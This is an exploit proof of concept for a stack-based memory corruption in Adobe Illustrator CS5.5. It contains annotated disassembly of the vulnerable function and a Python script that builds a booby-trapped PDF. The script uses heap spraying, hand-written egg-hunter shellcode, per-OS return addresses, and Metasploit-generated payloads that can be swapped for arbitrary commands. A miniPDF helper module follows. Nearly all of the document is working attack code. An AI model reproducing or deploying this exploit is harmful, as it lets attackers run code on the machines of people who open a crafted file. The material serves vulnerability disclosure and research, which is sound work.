Adobe Illustrator CS5.5 – Memory Corruption
########################################################################## #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com #### ########################################################################## ''' The vulnerable function follows... ---------------------------------- .text:004A7200 ; =============== S U B R O U T I N E ======================================= .text:004A7200 .text:004A7200 ; Attributes: bp-based frame .text:004A7200 .text:004A7200 sub_4A7200 proc near .text:004A7200 .text:004A7200 var_11C = dword ptr -11Ch .text:004A7200 var_118 = dword ptr -118h .text:004A7200 var_114 = byte ptr -114h .text:004A7200 var_14 = dword ptr -14h .text:004A7200 var_10 = dword ptr -10h .text:004A7200 var_C = dword ptr -0Ch .text:004A7200 var_4 = dword ptr -4 .text:004A7200 arg_0 = dword ptr 8 .text:004A7200 .text:004A7200 push ebp .text:004A7201 mov ebp, esp .text:004A7203 push 0FFFFFFFFh .text:004A7205 push offset loc_C3B8C0 .text:004A720A mov eax, large fs:0 .text:004A7210 push eax .text:004A7211 sub esp, 110h ;Make room for a 256 bytes buffer, etc .text:004A7217 mov eax, dword_FB3380 .text:004A721C xor eax, ebp .text:004A721E mov [ebp+var_14], eax ;Cookie! Immediately after the buffer .text:004A7221 push ebx .text:004A7222 push esi .text:004A7223 push edi .text:004A7224 push eax .text:004A7225 lea eax, [ebp+var_C] .text:004A7228 mov large fs:0, eax .text:004A722E mov [ebp+var_10], esp .text:004A7231 mov ebx, [ebp+arg_0] .text:004A7234 mov edi, ecx .text:004A7236 mov ecx, ebx .text:004A7238 mov [ebp+var_118], ebx .text:004A723E call std::basic_string::length(...) ;Original size offending size ;(It doesn;t stop at null chars) .text:004A7244 mov esi, eax .text:004A7246 push esi .text:004A7247 mov ecx, ebx .text:004A7249 call std::basic_string::c_str(...) .text:004A724F push eax .text:004A7250 lea eax, [ebp+var_114] .text:004A7256 push eax .text:004A7257 call memcpy ;STACK OVERFLOW! (If more than 256 bytes) .text:004A725C lea eax, [ebp+esi+var_114] .text:004A7263 add esp, 0Ch .text:004A7266 mov [ebp+var_11C], eax .text:004A726C mov byte ptr [eax], 0 .text:004A726F mov [ebp+var_4], 0 .text:004A7276 lea esi, [ebp+var_114] .text:004A727C lea esp, [esp+0] .text:004A7280 .text:004A7280 loc_4A7280: .text:004A7280 cmp esi, eax .text:004A7282 jnb short loc_4A72B6 .text:004A7284 mov edx, [edi] .text:004A7286 mov eax, [edx+4] .text:004A7289 push esi .text:004A728A mov ecx, edi .text:004A728C call eax ;Iterates over the stack copied buffer ;applying a 'locale'? character translation ;(Invalid chars noted in exploit) .text:004A728E test eax, eax .text:004A7290 jg short loc_4A7297 .text:004A7292 mov eax, 1 .text:004A7297 .text:004A7297 loc_4A7297: .text:004A7297 add esi, eax .text:004A7299 mov eax, [ebp+var_11C] .text:004A729F jmp short loc_4A7280 .text:004A72AE ; --------------------------------------------------------------------------- .text:004A72AE .text:004A72AE loc_4A72AE: .text:004A72AE mov ebx, [ebp+var_118] .text:004A72B4 jmp short loc_4A72BD .text:004A72B6 ; --------------------------------------------------------------------------- .text:004A72B6 .text:004A72B6 loc_4A72B6: .text:004A72B6 mov [ebp+var_4], 0FFFFFFFFh .text:004A72BD .text:004A72BD loc_4A72BD: .text:004A72BD lea ecx, [ebp+var_114] .text:004A72C3 push ecx .text:004A72C4 mov ecx, ebx .text:004A72C6 call std::basic_string::operator=(...) ;Here, due to local values ;corruption it is possible to ;write a translated version of ;our buffer to anywhere .text:004A72CC mov ecx, [ebp+var_C] .text:004A72CF mov large fs:0, ecx .text:004A72D6 pop ecx .text:004A72D7 pop edi .text:004A72D8 pop esi .text:004A72D9 pop ebx .text:004A72DA mov ecx, [ebp+var_14] .text:004A72DD xor ecx, ebp .text:004A72DF call sub_C27512 ;Check the cookie .text:004A72E4 mov esp, ebp .text:004A72E6 pop ebp .text:004A72E7 retn 4 .text:004A72E7 sub_4A7200 endp .text:004A72E7 f/ ''' #Exploit PoC begins... from miniPDF import * #http://pastebin.com/LUTXSSvV import zlib,struct,os,optparse,hashlib from subprocess import Popen, PIPE #Character translation map for the copied buffer (Reversed from function 004A72F0) cmap=[0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x20,0x21,0x22,0x23,0x24,0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C,0x2D,0x2E,0x2F, 0x30,0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C,0x3D,0x3E,0x3F, 0x40,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48,0x49,0x4A,0x4B,0x4C,0x4D,0x4E,0x4F, 0x50,0x51,0x52,0x53,0x54,0x55,0x56,0x57,0x58,0x59,0x5A,0x5B,0x5C,0x5D,0x5E,0x5F, 0x60,0x61,0x62,0x63,0x64,0x65,0x66,0x67,0x68,0x69,0x6A,0x6B,0x6C,0x6D,0x6E,0x6F, 0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x77,0x78,0x79,0x7A,0x7B,0x7C,0x7D,0x7E,0x00, 0x80,0x00,0x82,0x83,0x84,0x85,0x86,0x87,0x88,0x89,0x8A,0x8B,0x8C,0x00,0x00,0x00, 0x00,0x91,0x92,0x93,0x94,0x95,0x96,0x97,0x98,0x99,0x9A,0x9B,0x9C,0x00,0x00,0x9F, 0x20,0xA1,0xA2,0xA3,0xA4,0xA5,0xA6,0xA7,0xA8,0xA9,0xAA,0xAB,0xAC,0x2D,0xAE,0xAF, 0xB0,0xB1,0xB2,0xB3,0xB4,0xB5,0xB6,0xB7,0xB8,0xB9,0xBA,0xBB,0xBC,0xBD,0xBE,0xBF, 0xC0,0xC1,0xC2,0xC3,0xC4,0xC5,0xC6,0xC7,0xC8,0xC9,0xCA,0xCB,0xCC,0xCD,0xCE,0xCF, 0xD0,0xD1,0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9,0xDA,0xDB,0xDC,0xDD,0xDE,0xDF, 0xE0,0xE1,0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9,0xEA,0xEB,0xEC,0xED,0xEE,0xEF, 0xF0,0xF1,0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9,0xFA,0xFB,0xFC,0xFD,0xFE,0xFF] invalid = [ i for i in xrange(0,0xff+1) if cmap[i] != i and i>0x1f] def getXImage(width, height, fill='\x90', tail='\xcc'): ''' [ a b c d tx ty ] llx lly urx ury h w bits ImageType AlphaChannelCount reserved bin-ascii ImageMask XI Arguments to the XI operator specify the location and size of the image, its pixel bit depth, color type, and other attributes The image matrix maps the unit square of user space, bounded by (0, 0) and (1, 1) in user space, to the boundary of the source image in image space. ''' doc = '''0 A u 0 O 0 g 0 J 0 j 1 w 10 M []0 d 0 XR %AI5_File: %AI5_BeginRaster [$width$ 0 0 $height$ 0 0] 0 0 $width$ $height$ $width$ $height$ 8 1 0 0 $bin_ascii$ 0 %%BeginData: $size$ XI $data$ %%EndData XH %AI5_EndRaster F U ''' bin_ascii = 1 #binary doc = doc.replace('$width$','%d'%width) doc = doc.replace('$height$','%d'%height) doc = doc.replace('$bin_ascii$','%d'%bin_ascii) doc = doc.replace('$size$','%d'%(width*height)) data = (fill*(width*height)) data = data[:width*height-len(tail)]+tail if bin_ascii == 0: data = data.encode('hex') data_formated = '' for i in xrange(0,len(data)+62,62): data_formated += '%'+data[i:i+62]+'\n' data = data_formated doc = doc.replace('$data$',data) return doc def makeASCIICode(msfpayload): msfpayload = Popen('msfpayload3.5 %s R'%msfpayload, shell=True, stdout=PIPE) msfencode = Popen("msfencode3.5 BufferRegister=EAX -e x86/alpha_mixed -b '%s' -t raw"%''.join(['\\x%02x'%x for x in invalid]), shell=True, stdin=msfpayload.stdout, stdout=PIPE) code = msfencode.communicate()[0] return code def mkAIPrivate(options): baseai = ''' %!PS-Adobe-3.0 %%Creator: Adobe Illustrator(TM) 3.2 %%AI8_CreatorVersion: 15.0.2 %AI5_FileFormat 11.0 %%For: (Administrator) () %%Title: (thafile.ai) %%CreationDate: 1/21/2011 12:32 PM %%Canvassize: 16383 %%BoundingBox: 29 -389 198 75 %%DocumentProcessColors: Black %%DocumentFonts: MyriadPro-Regular %%DocumentNeededFonts: MyriadPro-Regular %%DocumentNeededResources: procset Adobe_packedarray 2.0 0 %%+ procset Adobe_cshow 1.1 0 %%+ procset Adobe_customcolor 1.0 0 %%+ procset Adobe_typography_AI3 1.0 1 %%+ procset Adobe_pattern_AI3 1.0 0 %%+ procset Adobe_Illustrator_AI3 1.0 1 %AI3_ColorUsage: Color %AI3_TemplateBox: 298 -421 298 -421 %AI3_TileBox: -8.35986 -816.9453 603.6406 -24.9448 %AI3_DocumentPreview: None %%PageOrigin:-8 -817 %AI7_GridSettings: 72 8 72 8 1 0 0.8 0.8 0.8 0.9 0.9 0.9 %AI9_Flatten: 1 %AI12_CMSettings: 00.MS %%EndComments %%BeginProlog %%IncludeResource: procset Adobe_packedarray 2.0 0 Adobe_packedarray /initialize get exec %%IncludeResource: procset Adobe_cshow 1.1 0 %%IncludeResource: procset Adobe_customcolor 1.0 0 %%IncludeResource: procset Adobe_typography_AI3 1.0 1 %%IncludeResource: procset Adobe_pattern_AI3 1.0 0 %%IncludeResource: procset Adobe_Illustrator_AI3 1.0 1 %%EndProlog %%BeginSetup %%IncludeFont: MyriadPro-Regular Adobe_cshow /initialize get exec Adobe_customcolor /initialize get exec Adobe_typography_AI3 /initialize get exec Adobe_pattern_AI3 /initialize get exec Adobe_Illustrator_AI3 /initialize get exec [ 39/quotesingle 96/grave 128/Euro 130/quotesinglbase/florin/quotedblbase/ellipsis /dagger/daggerdbl/circumflex/perthousand/Scaron/guilsinglleft/OE 145/quoteleft /quoteright/quotedblleft/quotedblright/bullet/endash/emdash/tilde/trademark /scaron/guilsinglright/oe/dotlessi 159/Ydieresis /space 164/currency 166/brokenbar 168/dieresis/copyright/ordfeminine 172/logicalnot/hyphen/registered/macron/ring /plusminus/twosuperior/threesuperior/acute/mu 183/periodcentered/cedilla /onesuperior/ordmasculine 188/onequarter/onehalf/threequarters 192/Agrave /Aacute/Acircumflex/Atilde/Adieresis/Aring/AE/Ccedilla/Egrave/Eacute /Ecircumflex/Edieresis/Igrave/Iacute/Icircumflex/Idieresis/Eth/Ntilde /Ograve/Oacute/Ocircumflex/Otilde/Odieresis/multiply/Oslash/Ugrave /Uacute/Ucircumflex/Udieresis/Yacute/Thorn/germandbls/agrave/aacute /acircumflex/atilde/adieresis/aring/ae/ccedilla/egrave/eacute/ecircumflex /edieresis/igrave/iacute/icircumflex/idieresis/eth/ntilde/ograve/oacute /ocircumflex/otilde/odieresis/divide/oslash/ugrave/uacute/ucircumflex /udieresis/yacute/thorn/ydieresis TE %AI3_BeginEncoding: _MyriadPro-Regular MyriadPro-Regular [/_MyriadPro-Regular/MyriadPro-Regular 0 0 1 TZ %AI3_EndEncoding AdobeType %%EndSetup $HEAPSPRAY$ u 0 To 1 0 0 1 63.9058 -54.9058 0 Tp TP 1 0 0 1 63.9058 -54.9058 Tm 0 Tr 0 O 0 0 0 1 k 4 M /_MyriadPro-Regular 12 Tf 100 Tz 0 Tt 0 0 Tl 0 Tc ($PATTERN$) Tx 1 0 Tk TO U %%PageTrailer gsave annotatepage grestore showpage %%Trailer Adobe_Illustrator_AI3 /terminate get exec Adobe_pattern_AI3 /terminate get exec Adobe_typography_AI3 /terminate get exec Adobe_customcolor /terminate get exec Adobe_cshow /terminate get exec Adobe_packedarray /terminate get exec %%EOF ''' #configure token and search code snipet token = 0x494c4546 if options.w7: #Win7 In w7 the environment memory is 0x10000bytes long! msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process' baseai = baseai.replace('$HEAPSPRAY$','') jmp_addr = 0x00001FF01 write_addr = 0x0001FF01 elif options.xp: #XPSP3 msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=process' baseai = baseai.replace('$HEAPSPRAY$','') jmp_addr = 0x10F00 write_addr = 0x10F00 elif options.osx: code = Popen('msfpayload3.5 osx/x86/exec CMD=/Applications/Calculator.app/Contents/MacOS/Calculator EXITFUNC=process R', shell=True, stdout=PIPE).communicate()[0] baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='\x90',tail='\xcc'+code+'\xcc')*300 ) payload = "A"*284 payload += struct.pack("<L", 0x31000100) #Write the string in octal form ai_data = baseai.replace('$PATTERN$', ''.join(['\\%o'%ord(i) for i in payload])) return ai_data elif options.multi: msfpayload = 'windows/exec CMD=calc.exe EXITFUNC=seh' jmp_addr = 0x18e41111 write_addr = 0xFFFF #Segfault #configure token and search code snipet search = '\x80\x79\xff\x01' #CMP BYTE [ECX-1],1 search += '\x74\x18' #JZ fixstack search += '\xc6\x41\xff\x01' #MOV BYTE [ECX-1],1 search += '\x58' #search: pop EAX search += '\x3D'+struct.pack('<L',token) #cmp EAX, $token search += '\x75\xF8' #jnz %search search += '\x89\xe0' #mov eax,esp search += '\x81\xec'+struct.pack("<L",0x1000) #sub esp, 0x1000 search += '\x89\xe5' #mov ebp,esp search += '\xFF\xD0' #CALL EAX ##Second crash fix stack # Search for stack signature (Tested in 15.0.0 15.0.1 15.0.2) # 00000045 # 00000001 # 00000000 # 00000045 search += '\x81\xc4'+struct.pack("<L",0x1000) #add esp, 0x1000 search += '\x58' #POP EAX search += '\x40' #INC EAX search += '\x83\xF8\x46' #CMP EAX,46 search += '\x75\xF9' #JNE SHORT loop ### search += '\x58' #POP EAX search += '\x40' #INC EAX search += '\x83\xF8\x02' #CMP EAX,02 search += '\x75\xF9' #JNE SHORT loop ### search += '\x58' #POP EAX search += '\x40' #INC EAX search += '\x83\xF8\x01' #CMP EAX,01 search += '\x75\xF9' #JNE SHORT loop ### search += '\x58' #POP EAX search += '\x40' #INC EAX search += '\x83\xF8\x46' #CMP EAX,46 search += '\x75\xF9' #JNE SHORT loop #Fix frame and return search += '\x83\xEC\x1C' #SUB ESP,1C search += '\x5d' #POP EBP search += '\xc3' #RET baseai = baseai.replace('$HEAPSPRAY$',getXImage(1020,1024,fill='\x90',tail=search)*300 ) else: #DEBUG def pattern(size): def _pattern(): for i in xrange(ord('a'),ord('z')+1): for j in xrange(ord('0'),ord('9')+1): for k in xrange(ord('A'),ord('Z')+1): for h in xrange(ord('0'),ord('9')+1): yield chr(i) yield chr(j) yield chr(k) yield chr(h) return ''.join(list(_pattern())[:size]) p = pattern(3000) ai_data = baseai.replace('($PATTERN$)', '('+p+')').replace('$HEAPSPRAY$',getXImage(1020,1024)*20) return ai_data #prepare shellcode.. if options.payload: msfpayload = args[1] code = makeASCIICode(msfpayload) search = '\x58' #search: pop EAX search += '\x3D'+struct.pack('<L',token) #cmp EAX, $token search += '\x75\xF8' #jnz %search search += '\x89\xe0' #mov eax,esp search += '\x89\xe5' #mov ebp,esp search += '\xFF\xD0' #CALL EAX payload = search payload += 'A'*(268 - len(payload)) payload += struct.pack('<L',jmp_addr) #offset 268 payload += 'B'*(352 - len(payload)) payload += struct.pack('<L', write_addr) #offset 352 (originally a heap address) payload += 'C'*(376 - len(payload)) payload += struct.pack('<L',token) #offset 376 payload += code #offset 380 assert len(payload)<=0x3000, 'Payload too long!, it may hit the end of the stack' #Double check it doesn't have invalid chars... for c in search: assert not ord(c) in invalid, 'c:%s is in %s'%('%02x'%ord(c),['\\x%02x'%x for x in invalid]) #Write the string in octal form ai_data = baseai.replace('$PATTERN$', ''.join(['\\%o'%ord(i) for i in payload])) #ai_data holds the ai private data to we inserted in the pdf shell return ai_data def mkPDFShell(ai_data): #The document doc = PDFDoc() #font font = PDFDict() font.add('Name', PDFName('F1')) font.add('Subtype', PDFName('Type1')) font.add('BaseFont', PDFName('Helvetica')) #name:font map fontname = PDFDict() fontname.add('F1',font) #resources resources = PDFDict() resources.add('Font',fontname) #contents contents= PDFStream({},'BT /F1 24 Tf 240 700 Td (Pedefe Pedefeito Pedefeon!) Tj ET') doc.add(contents) #begin illustrator bit private = PDFDict() illustrator = PDFDict() #slice the private data in 64k packs data = ai_data compress = {} chunk_size = 0xffff*20 for i in xrange(0,len(data)/chunk_size+1): priv_data = PDFStream({'Filter': '/FlateDecode'},data[chunk_size*i:chunk_size*(i+1)].encode('zlib')) hsh = hashlib.md5(priv_data.stream) if not hsh.hexdigest() in compress.keys(): doc.add(priv_data) ref = PDFRef(priv_data) compress[hsh.hexdigest()] = ref private.add('AIPrivateData%d'%(i+1),ref) private.add('NumBlock',PDFNum(len(data)/0xffff+1)) private.add('ContainerVersion',PDFNum(15.0)) private.add('CreatorVersion',PDFNum(15.0)) private.add('RoundtripVersion',PDFNum(15.0)) illustrator.add('LastModified',PDFString('D:20110202124811-07\'00\'')) illustrator.add('Private',PDFRef(private)) doc.add(private) doc.add(illustrator) #page page = PDFDict() page.add('Type',PDFName('Page')) page.add('Resources',resources) page.add('Contents', PDFRef(contents)) page.add('PieceInfo',PDFDict({'Illustrator': PDFRef(illustrator)})) doc.add(page) #pages pages = PDFDict() pages.add('Type', PDFName('Pages')) pages.add('Kids', PDFArray([PDFRef(page)])) pages.add('Count', PDFNum(1)) #add parent reference in page page.add('Parent',PDFRef(pages)) doc.add(pages) #catalog catalog = PDFDict() catalog.add('Type', PDFName('Catalog')) catalog.add('Pages', PDFRef(pages)) doc.add(catalog) doc.setRoot(catalog) return str(doc) if __name__ == '__main__': parser = optparse.OptionParser(description='Adobe Illustrator File Format Tx operator Stack Overflow') parser.add_option('--debug', action='store_true', default=False, help='For debugging') parser.add_option('--multi', action='store_true', default=False, help='Heapspraying for multitarget') parser.add_option('--w7', action='store_true', default=False, help='For Windows7') parser.add_option('--xp', action='store_true', default=False, help='For Windows XP (generic)') parser.add_option('--osx', action='store_true', default=False, help='For OSX (tested on plain leopard)') parser.add_option('--payload', action='store_true', default=False, help="Metasploit payload. Ex. 'windows/exec CMD=calc.exe'") parser.add_option('--doc', action='store_true', default=False, help='Print detailed documentation') (options, args) = parser.parse_args() if not options.w7 + options.xp + options.debug + options.multi + options.osx + options.doc== 1: print 'Try --help' exit(-1) elif options.doc: print __doc__ exit(0) ai_data = mkAIPrivate(options) print mkPDFShell(ai_data) #f/ ########################### miniPDF.py module ############################ ########################################################################## #### Felipe Andres Manzano * felipe.andres.manzano@gmail.com #### #### http://twitter.com/feliam * http://wordpress.com/feliam #### ########################################################################## import struct #For constructing a minimal pdf file ## PDF REference 3rd edition:: 3.2 Objects class PDFObject: def __init__(self): self.n=None self.v=None def __str__(self): raise Exception("Fail") ## PDF REference 3rd edition:: 3.2.1 Booleans Objects class PDFBool(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): if self.s: return "true" return "false" ## PDF REference 3rd edition:: 3.2.2 Numeric Objects class PDFNum(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "%s"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects class PDFString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.3 String Objects / Hexadecimal Strings class PDFHexString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "<" + "".join(["%02x"%ord(c) for c in self.s]) + ">" ## A convenient type of literal Strings class PDFOctalString(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s="".join(["\\%03o"%ord(c) for c in s]) def __str__(self): return "(%s)"%self.s ## PDF REference 3rd edition:: 3.2.4 Name Objects class PDFName(PDFObject): def __init__(self,s): PDFObject.__init__(self) self.s=s def __str__(self): return "/%s"%self.s ## PDF REference 3rd edition:: 3.2.5 Array Objects class PDFArray(PDFObject): def __init__(self,s): PDFObject.__init__(self) assert type(s) == type([]) self.s=s def append(self,o): self.s.append(o) return self def __str__(self): return "[%s]"%(" ".join([ o.__str__() for o in self.s])) ## PDF REference 3rd edition:: 3.2.6 Dictionary Objects class PDFDict(PDFObject): def __init__(self, d={}): PDFObject.__init__(self) self.dict = {} for k in d: self.dict[k]=d[k] def __iter__(self): for k in self.dict.keys(): yield k def __iterkeys__(self): for k in self.dict.keys(): yield k def __getitem__(self, key): return self.dict[key] def add(self,name,obj): self.dict[name] = obj def get(self,name): if name in self.dict.keys(): return self.dict[name] else: return None def __str__(self): s="<<" for name in self.dict: s+="%s %s "%(PDFName(name),self.dict[name]) s+=">>" return s ## PDF REference 3rd edition:: 3.2.7 Stream Objects class PDFStream(PDFDict): def __init__(self,d={},stream=""): PDFDict.__init__(self,d) self.stream=stream self.filtered=self.stream self.add('Length', len(stream)) self.filters = [] def appendFilter(self, filter): self.filters.append(filter) self._applyFilters() #yeah every time .. so what! def _applyFilters(self): self.filtered = self.stream for f in self.filters: self.filtered = f.encode(self.filtered) if len(self.filters)>0: self.add('Length', len(self.filtered)) self.add('Filter', PDFArray([f.name for f in self.filters])) #Add Filter parameters ? def __str__(self): self._applyFilters() #yeah every time .. so what! s="" s+=PDFDict.__str__(self) s+="\nstream\n" s+=self.filtered s+="\nendstream" return s ## PDF REference 3rd edition:: 3.2.8 Null Object class PDFNull(PDFObject): def __init__(self): PDFObject.__init__(self) def __str__(self): return "null" ## PDF REference 3rd edition:: 3.2.9 Indirect Objects class UnResolved(PDFObject): def __init__(self,n,v): PDFObject.__init__(self) self.n=n self.v=v def __str__(self): return "UNRESOLVED(%d %d)"%(self.n,self.v) class PDFRef(PDFObject): def __init__(self,obj): PDFObject.__init__(self) self.obj=[obj] def __str__(self): if len(self.obj)==0: return "null" return "%d %d R"%(self.obj[0].n,self.obj[0].v) ## PDF REference 3rd edition:: 3.3 Filters ## Example Filter... class FlateDecode: name = PDFName('FlateDecode') def __init__(self): pass def encode(self,stream): return zlib.compress(stream) def decode(self,stream): return zlib.decompress(stream) ## PDF REference 3rd edition:: 3.4 File Structure ## Simplest file structure... class PDFDoc(): def __init__(self,obfuscate=0): self.objs=[] self.info=None self.root=None def setRoot(self,root): self.root=root def setInfo(self,info): self.info=info def _add(self,obj): if obj.v!=None or obj.n!=None: raise Exception("Already added!!!") obj.v=0 obj.n=1+len(self.objs) self.objs.append(obj) def add(self,obj): if type(obj) != type([]): self._add(obj); else: for o in obj: self._add(o) def _header(self): return "%PDF-1.5\n%\xE7\xF3\xCF\xD3\n" def __str__(self): doc1 = self._header() xref = {} for obj in self.objs: xref[obj.n] = len(doc1) doc1+="%d %d obj\n"%(obj.n,obj.v) doc1+=obj.__str__() doc1+="\nendobj\n" posxref=len(doc1) doc1+="xref\n" doc1+="0 %d\n"%(len(self.objs)+1) doc1+="0000000000 65535 f \n" for xr in xref.keys(): doc1+= "%010d %05d n \n"%(xref[xr],0) doc1+="trailer\n" trailer = PDFDict() trailer.add("Size",len(self.objs)+1) if self.root == None: raise Exception("Root not set!") trailer.add("Root",PDFRef(self.root)) if self.info: trailer.add("Info",PDFRef(self.info)) doc1+=trailer.__str__() doc1+="\nstartxref\n%d\n"%posxref doc1+="%%EOF" return doc1 |